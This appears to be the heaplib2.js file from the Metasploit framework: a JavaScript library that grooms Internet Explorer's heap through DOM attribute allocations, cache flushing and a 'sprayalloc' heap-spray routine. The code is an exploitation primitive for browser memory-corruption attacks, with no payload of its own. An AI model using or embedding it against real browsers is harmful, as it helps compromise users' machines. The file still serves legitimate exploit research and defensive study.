metasploit-framework/data/js/memory/heaplib2.js

192 lines
6.0 KiB
JavaScript

//heapLib2 namespace
function heapLib2() { }
//These are attributes that will not actually create a bstr
//and directly use the back-end allocator, completely bypassing the cache
var global_attrs = ["title", "lang", "class"];
heapLib2.ie = function(element, maxAlloc)
{
//128mb
this.maxAlloc = 0x8000000;
//make sure that an HTML DOM element is passed
if(!element.nodeType || element.nodeType != 1)
throw "alloc.argument: element not valid";
this.element = element;
if(maxAlloc)
this.maxAlloc = maxAlloc;
//empty the cache
this.Oleaut32EmptyCache();
this.Oleaut32FillCache();
this.Oleaut32EmptyCache();
}
heapLib2.ie.prototype.newelement = function(element)
{
//make sure that an HTML DOM element is passed
if(!element.nodeType || element.nodeType != 1)
throw "alloc.argument: element not valid";
this.element = element;
}
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
{
if(typeof(cache_ok)==='undefined')
cache_ok = false;
else
cache_ok = true;
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(this.element.getAttribute(attr_name))
throw "alloc.argument: element already contains attr_name: " + attr_name;
//ensure the size is a number
if(typeof size != "number")
throw "alloc.argument: size is not a number: " + size;
//make sure the size isn't one of the special values
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
throw "alloc.argument: size cannot be flushed from cache: " + size;
if(size > this.maxAlloc)
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
//the size must be at a 16-byte boundary this can be commented out but
//the allocations will be rounded to the nearest 16-byte boundary
if(size % 16 != 0)
throw "alloc.argument: size be a multiple of 16: " + size;
//20-bytes will be added to the size
//<4-byte size><data><2-byte null>
size = ((size / 2) - 6);
//May have to change this due to allocation side effects
var data = new Array(size).join(cache_ok ? "C" : "$");
var attr = document.createAttribute(attr_name);
this.element.setAttributeNode(attr);
this.element.setAttribute(attr_name, data);
}
//These items will allocate/free memory and should really
//only be used once per element. You can use a new element
//by calling the 'newelement' method above
heapLib2.ie.prototype.alloc_nobstr = function(val)
{
//make sure the aval is a string
if(typeof val != "string")
throw "alloc.argument: val is not a string";
var size = (val.length * 2) + 6;
if(size > this.maxAlloc)
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
var i = 0;
var set_gattr = 0;
for(i = 0; i < global_attrs.length; i++)
{
curr_gattr = global_attrs[i];
if(!this.element.getAttribute(curr_gattr))
{
this.element.setAttribute(curr_gattr, "");
this.element.setAttribute(curr_gattr, val);
set_gattr = 1;
break;
}
}
if(set_gattr == 0)
throw "alloc_nobstr: all global attributes are assigned, try a new element";
}
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
{
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(this.element.getAttribute(attr_name))
throw "alloc.argument: element already contains attr_name: " + attr_name;
//ensure the size is a number
if(typeof str != "string")
throw "alloc.argument: str is not a string: " + typeof str;
var size = (str.length * 2) + 6;
//make sure the size isn't one of the special values
if(size <= 0x8000)
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
if(size > this.maxAlloc)
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
var attr = document.createAttribute(attr_name);
this.element.setAttributeNode(attr);
this.element.setAttribute(attr_name, str);
}
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
{
if(typeof(skip_flush)==='undefined')
skip_flush = false;
else
skip_flush = true;
//make sure that an HTML DOM element is passed
if(!this.element.nodeType || this.element.nodeType != 1)
throw "alloc.argument: element not valid";
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(!this.element.getAttribute(attr_name))
throw "alloc.argument: element does not contain attribute: " + attr_name;
//make sure the cache is full so the chunk returns the general purpose heap
if(!skip_flush)
this.Oleaut32FillCache();
this.element.setAttribute(attr_name, null);
if(!skip_flush)
this.Oleaut32EmptyCache()
}
heapLib2.ie.prototype.Oleaut32FillCache = function()
{
for(var i = 0; i < 6; i++)
{
this.free("cache0x20"+i, true);
this.free("cache0x40"+i, true);
this.free("cache0x100"+i, true);
this.free("cache0x8000"+i, true);
}
}
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
{
for(var i = 0; i < 6; i++)
{
this.alloc("cache0x20"+i, 0x20, true);
this.alloc("cache0x40"+i, 0x40, true);
this.alloc("cache0x100"+i, 0x100, true);
this.alloc("cache0x8000"+i, 0x8000, true);
}
}